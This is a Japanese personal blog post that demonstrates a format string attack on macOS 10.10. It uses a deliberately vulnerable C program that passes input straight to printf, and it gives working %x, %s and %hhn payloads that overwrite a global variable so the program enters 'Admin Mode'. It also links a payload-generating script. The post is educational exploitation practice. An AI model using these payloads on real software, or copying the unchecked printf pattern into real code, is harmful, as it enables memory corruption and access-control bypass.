sekai013's blog

JavaScriptとかを勉強する

Format String Attack でメモリの中身を書き換える Mac OS X 10.10

読むやつ: Format String Attack でメモリの内容を読み出す Mac OS X 10.10 - sekai013's blog

// writemem.c
#include <stdio.h>
#include <string.h>

char mode[] = "Guest";

int main() {
  char buf[1024];

  printf("Enter Your Name: ");
  fgets(buf, sizeof(buf), stdin);
  printf("Hello, ");
  printf(buf);

  printf("%s Mode\n", mode);
  if (strncmp(mode, "Admin", sizeof(mode)) == 0) {
    printf("something secret...");
  } else {
    printf("Address: %p\n", mode);
  }
}

こういう感じで外部入力を printf の第1引数にそのまま持ってきたりするとメモリの中身を読めてしまうという話だった.

% gcc writemem.c -o writemem -m32 -Wl,-no_pie
writemem.c:13:10: warning: format string is not a string literal (potentially insecure)

% echo "aaaa %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x" | ./writemem
Enter Your Name: Hello, aaaa 400 a079a04c 0 0 0 0 0 0 7 bffff6b8 400 11 1db0 61616161 20782520 25207825 78252078 20782520
Guest Mode
Address: 0x2020

% python -c 'print "%16$s   \x20\x20\x00\x00"' | ./writemem
Enter Your Name: Hello, Guest     Guest Mode <- Hello のところで mode の中身が読めている
Address: 0x2020

メモリへの書き込みもできる. 書き込みには %n という, 指定したアドレスに, 今まで出力したバイト数を書き込む指定子を利用する.
%hhn を使うと, 書き込むバイト数が char 型とみなされて1バイト書き込む. なんなんだこの指定子は... 攻撃以外でどう使うんだ...
今まで書き込んだバイト数は %<byte>c で調整する.

例えば mode の先頭の G を A (= 0x41 = 65) に置き換えるにはこんな調子でやればいい.

% python -c 'print "%65c%17$hhn \x20\x20\x00\x00"' | ./writemem
Enter Your Name: Hello,
  Auest Mode <- 書き換え成功
Address: 0x2020

2文字書き換えるときはこれを繰り返す. A のうしろに d (= 0x64 = 100) を書き込むには 0x41 バイト出力したところからさらに 0x100 - 0x41 + 0x64 = 0x123 = 291 バイト書き込めばOK.

% python -c 'print "%65c%20$hhn%291c%21$hhn \x20\x20\x00\x00\x21\x20\x00\x00"' | ./writemem
Enter Your Name: Hello,
                      !   Adest Mode
Address: 0x2020

雑にスクリプトを書いた.

gist.github.com

 % ruby overwrite.rb writemem 0x2020 Admin 14
Format String: %65c%29$hhn%291c%30$hhn%265c%31$hhn%252c%32$hhn%261c%33$hhn \x20\x20\x00\x00\x21\x20\x00\x00\x22\x20\x00\x00\x23\x20\x00\x00\x24\x20\x00\x00
Exec ./writemem...
=====================================================================================
Enter Your Name: Hello, $   Admin Mode
something secret...
=====================================================================================
Done.

mode の中身を書き換えて Admin Mode に入れた. やったぜ.

[参考]

書式指定文字列攻撃 - kusano_kの日記

format string attackによるGOT overwriteをやってみる - ももいろテクノロジー